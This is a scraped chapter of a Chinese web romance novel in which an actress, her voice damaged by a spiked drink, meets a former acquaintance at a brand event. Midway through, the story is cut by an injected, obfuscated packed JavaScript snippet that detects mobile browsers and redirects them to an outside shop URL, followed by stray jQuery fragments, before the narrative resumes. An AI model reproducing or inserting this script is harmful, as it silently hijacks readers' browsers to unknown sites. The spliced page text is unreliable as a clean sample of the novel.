《独家翻译》
文/拭雪苔生
晋江文学城2026.3/28
/
“喉镜检查以及MRI检查评估下来，首先排除了肿瘤、囊肿或外伤性损伤。”
“但声音有明显的嘶哑，且可见喉黏膜弥漫性充血。”
医生用手推了推眼镜，接着将影像检测图从展示板上取下。
“初步判断，是刺激辛辣的食物以及过度用嗓等原因，导致的声带受损。”
大白专业地分析着，明望舒却仰头望着输液管里持续滴落的药水昏昏欲睡。
她没开口，一旁的经纪人却忧心忡忡，“那恢复期需要多久？您也知道干我们这行的，除了一张漂亮的脸之外，巧舌如簧的嘴那更是锦上添花呀。”
嗯呐，跟您一样。
明望舒打了个哈欠，思考着天花板什么时候不是纯白色，而是蔚蓝色。
医生：“……”
医院每天鱼龙混杂，人迹匆匆，医生哪会不知道？
但干他这一行的，就算面对的是当红顶流，也一定要实话实说。
更何况她还不是。
大白和蔼地伸出三根手指，经纪人宛如点上火的炮仗，直接炸了。
“三个月？！”
“您再仔细给她查查，看看需不需要下点猛药，治不了根也先治住本啊！”经纪人用她那张巧舌如簧的嘴说。
医生：“……”
进来拔针的护士敲了敲门，打断了二人之间的对话。
-
打完吊针走出私人病房，经纪人里三层外三层地将明望舒裹了起来，尤其是她的脖子。
羊毛围巾已经松软到极致，她却还是隐隐感觉扎皮肤。
明望舒松了松脖颈上的束缚。
临近金秋十月，正是秋季的黄金季节，气温适宜，压根不存在有多冷。
经纪人看她这副不心疼、不在乎自己身体的模样，气不打到一处，转头又开始了她的长篇大论。
先是说她得了一个小奖项人就飘啦，再是批评她作为炙手可热的女明星，一点都没有‘防人之心’的谨慎。
事实确实如此。
两天前，明望舒刚在电影节拿下一个百花奖，虽然含金量没有最佳女主角奖、最佳女配角奖那类高，但这是她入行以来第一个电影奖项。
她承认自己多少是有点狂妄了，才在庆功宴高歌一首后喝了一杯旁人递来的酒。
“也不知道是哪个兔崽子干的，在酒里面下辣椒粉，偏偏你还挺豪气，一口闷了！”经纪人到底是心疼自家艺人，义愤填膺道。
要放在之前，明望舒一定会反驳，但现在她说不出话了。
单一个字，喉咙的肿胀感就压迫着她的大脑神经。
明望舒掐着不适的嗓子说出今天第一句话：“麻辣烫还是沙县？”
一早上就被扒拉来做这做那的检查，除了营养针，她到现在一口东西都没吃到，喉黏膜怎么样她不清楚，但再不吃饭，胃黏膜就该遭殃了。
经纪人：“……”
这么接地气的女明星地球上还有第二个吗？
经纪人熟稔地把口罩薅来，焊死在明望舒漂亮却有些苍白的下半张脸上。
然后从口袋里掏出一块干巴但健康的面包塞到她手里。
“快别拿你那破锣嗓说话了！”
经纪人叫林慧，平常手底下的艺人都亲切地称她为慧姐，明望舒是她初出茅庐后带出来的第一个女明星。
五年时间一晃而过，现在她已经是公司一把手，手底下新签的几个艺人也都小有成就，偏偏明望舒突然止步不前。
也不知道是不是差点气运。
明望舒还知道今天上医院的动向不能被拍，没傻傻走大门，和林慧走私人通道下来地下停车场。
“对了，今晚还有一个品牌方活动，你现在这个状况能撑得住吗？”林慧一刻不停地回着消息，抽空问道。
这口吻像极了高中请假时，班主任问‘还能坚持得住吗’一模一样。
明望舒在手机上敲字：那我休息三个月也行。
“……你是想彻底过气吧！”
明望舒摊手，你看，又急。
话音落地，‘叮铃铃’的电话铃声又响起来，林慧摆了摆手示意助理带着明望舒先走。
见经纪人电话一通接一通，明望舒随手撕了张便签贴在车窗上，算是给林慧知会过了，转头钻进了保姆车。
回去的路上经纪人也没停歇，给她发来了一大堆注意事项，以及保护嗓子的方式方法。
甚至还有土方子。
明望舒：……这就有点儿病急乱投医了吧。
也不怪林慧那么着急，其实她们早知道电影会拿奖，消息一经传开，这一周有不下五部电影电视剧本找到她。
其中有一个剧本是林慧早就看好的，导演是斩获华人影坛首个柏林金鸡奖的费有为费导，他手底下的主角基本是捧一个红一个。
所以不止经纪人，明望舒更比任何人都期望自己的嗓子能立刻好起来。
这样她才能以最好的状态赶下一个片场。
但……万一好不了呢？明望舒冒出这个念头。
【慧姐：我又问过医生了，确定只要好好保护嗓子，不出三个月就能恢复。】
明望舒潦草地回了三个嗯嗯嗯，关掉手机叹了口气，强迫自己别多想。
在车里眯了不到二十分钟就到家门口了。
明望舒有套房子在海城，但只是个临时蜗居点，毕业从国外回来后随手买的。
之后通告多，五湖四海的酒店都住过，在海城的家倒是鲜少常住。
不过她这人心大，在哪都能睡着。
睡到大约四点，助理进来叫醒她，“舒姐，化妆师到了。”
明望舒下意识回了一句：“再等我醒五分钟。”
话音落地的下一秒，她被自己的声音吓了一跳。
忘了，她现在应当是个‘哑巴’。
助理：“姐，你要不模仿一下……”
明望舒心领神会，躺在床上虚弱地喊：“小娟，小娟——”
助理叫小娟，而用沙哑嗓音喊她的明望舒仿佛就是安陵容的真传弟子。
两人相视笑了好一阵，明望舒起来洗漱准备化妆，小娟给她熨烫好品牌方送来的礼裙。
六点，明望舒准时抵达活动会场。
秋老虎还厉害着，明望舒仅穿着一件抹胸裙，却觉温度正好。
跨进会场前，林慧最后提醒她一句：“记住一会儿能不说话就不说话，有什么事我都会在旁边给你打圆场。微笑！微笑！”
对付今天的场合，化妆师依据明望舒的五官，只化了一个清浅淡妆。
偏粉调的奶油肌粉底很好地修饰了明望舒稍显虚弱的面色，两侧如天边落日橘红般的腮红一打，明媚绚烂。
不用林慧多交代，明望舒自动扬起适应此场景的笑容，挺直腰杆走进去。
仿佛她就是生长于此的夺目玫瑰。
活动在梧桐区一处独栋小洋房，入口便是会客区，受邀的不止有明星，还有中外合资等品牌方、著名制片人等，各种蓝眼睛灰眼睛，各个盛装出席。
资方举着酒恭喜明望舒拿下奖项，明望舒一路颔首微笑过去，而林慧则跟在她身侧，尽责地拦下那些递来的恭贺。
秉持着这是工作的态度，她一路挂着经纪人提醒的笑容。
只是觉得有些无趣，视线便控制不住地开始乱瞟。
在场的几乎没有她能说得上话的人，唯一认识的是一位歌手，不熟。
当然她现在得装哑，就更加无趣了。
不过眼睛没寻到乐子，耳朵倒是捕捉到了点新鲜——
不远处的走廊外，似乎有几位外国友人正在交谈着什么。
明望舒自动过滤了另外两个浑厚的男声，唯一传入耳朵的是一道平稳、洁净的男音。
对比其他两位，这道不带任何感情色彩的声音显得尤为突兀，明望舒却无端心下动容。
不能说口语不地道，相反，咬字清晰，言语精密，更像是有意放慢了语调，让双方都能听清楚听明白。
隔着距离，明望舒听不太真切，似乎是法语，自带罗曼蒂克的语调，更像是掀开尘封记忆的一把钥匙。
思绪杂乱纷飞，明望舒几乎迫切地循声抬眼，绕过面前形形色色的人们，她的视线定定落在一个西装笔挺的男人身上。
原本留给她的是仅是一个背影，明望舒也不知道自己是怎么了，确定这几声话音就是来自他。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406353|200532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
正思忖，男人突然侧了侧身，几缕暖灯辉光圈着他，映出其锋利的下颌轮廓。
一瞬间，明望舒恍惚看见了另外一张脸。
不同岁月，五官却相同的两张面孔重叠，仿佛梦境与现实交织，叫人分不清真假。
空气流速似乎变得极其缓慢。
男人并未察觉此刻有一双眼睛正紧密地盯着他看，他正为身前两位外国合作方进行实时口译，两国语言流利地从他口中流淌而出。
明望舒并未猜错。
与此同时，侧边的交谈声由远及近，掩盖了男人微正经的口译声。
“怎么了这是，得了奖还闷着声，不知道的还以为是跟慧姐两人闹不开心了呢！”
“哪能呢，只是一个百花奖而已，望舒日后再想得奖还得仰仗各位制片人们给她这个机会呢。”
谦虚迂回的话音落地，一只手伸出，在明望舒面前晃了晃。
“怎么了？看到想认识的导演了？”看她走神，林慧狐疑。
明望舒收回目光，男人已经不在原地，好似一场辉煌泡影。
她摇摇头，眸光重新聚焦到眼前，看向一众资方，从喉头挤出轻微的笑声。
…
推杯换盏许久，敞开的木门外余晖烧尽。
几方在展台前合了影，接下来便是一场小晚宴。
中央飘来帕萨卡利亚钢琴曲，琴声优雅婉转。
明望舒舒缓了些工作的紧绷感，刚走到小吃台拿起一块蛋挞，经纪人就闪现在她旁边。
林慧压低声音：“下周还有试镜，少吃两口不会饿死。”
明望舒朝着她眨两下眼睛，说时迟那时快，左右手并用塞了两块甜品进嘴里，腮帮子撑起，活像个中饱私囊的小仓鼠。
“……”
一身反骨。
林慧气个半死，也知道她的大小姐脾气，算了，吃两口就吃两口，总比罢工要强。
说了她两句，林慧便去外面处理工作电话了。
明望舒端着蛋糕，兀自在心里哼着小歌，四处走动。
二楼是一个复古法式小阳台，今晚还会有烟花秀，纵使是在偏郊，也很难得。
明望舒逆着人群上楼，刚到二楼靠近洗手间的楼梯口，一双强而有力的手猛地抓住了她的手腕。
“hey,you……areyou……”
是个醉鬼，指着她嘴里念念有词，像是认识她似地。
当然，她火遍大江南北，谁不认识她！
……海外版图待开发而已。
明望舒下意识想抽手，无奈男女力量悬殊。
对方醉眼惺忪，在这种场合也能喝多，不知道是该说他不尊重活动还是太过于尊重活动。
强忍着想将对方一脚踹去楼下的梧桐落叶堆中的想法，明望舒左右观察了一下，思考着该怎么体面地叫来服务生帮她。
不巧的是，近处准点钟声响起，头顶明亮的灯光在顷刻间暗了下来。
醉酒的老外依旧拽着她的胳膊，说要和她去露台合影。
明望舒笑得很礼貌，但修剪圆润的指甲已经抠进对方的手背了。
“给老娘放——”
“you’vegotthewrongperson.”
清冽冷硬的嗓音从梯口的阴暗面破开冲出，拦截了明望舒那声沙哑的愠怒。
声音钻入耳畔，明望舒呼吸卡在喉咙里，怔然掀眼。
恰在此时，屋外烟火齐窜天，闪烁的花火短暂笼罩着二人。
多变的光影下，男人清晰利落的五官倒映在明望舒眼底，如梦似幻。
……卫忱？！
明望舒呼吸停滞，目光聚焦在对方脸上，一眨未眨，脑中褪色的记忆正飞速倒带，逐渐染上烟火一般绚烂的色彩。
卫忱并未看向她，他抓着酒鬼的手，侧身挡在明望舒面前，在明望舒的注视下，他嘴唇一张一翕，似乎是在和对方说着什么。
思绪纷飞，耳畔的声音只剩下烟火巨大的‘砰砰’声，仿若切断了和这个世界的连接。
声音听不见，明望舒不知怎地，却读懂了卫忱的唇语。
他第一句说的是：你认错人了，她不是明望舒。
第二句则是……
只是长得像而已。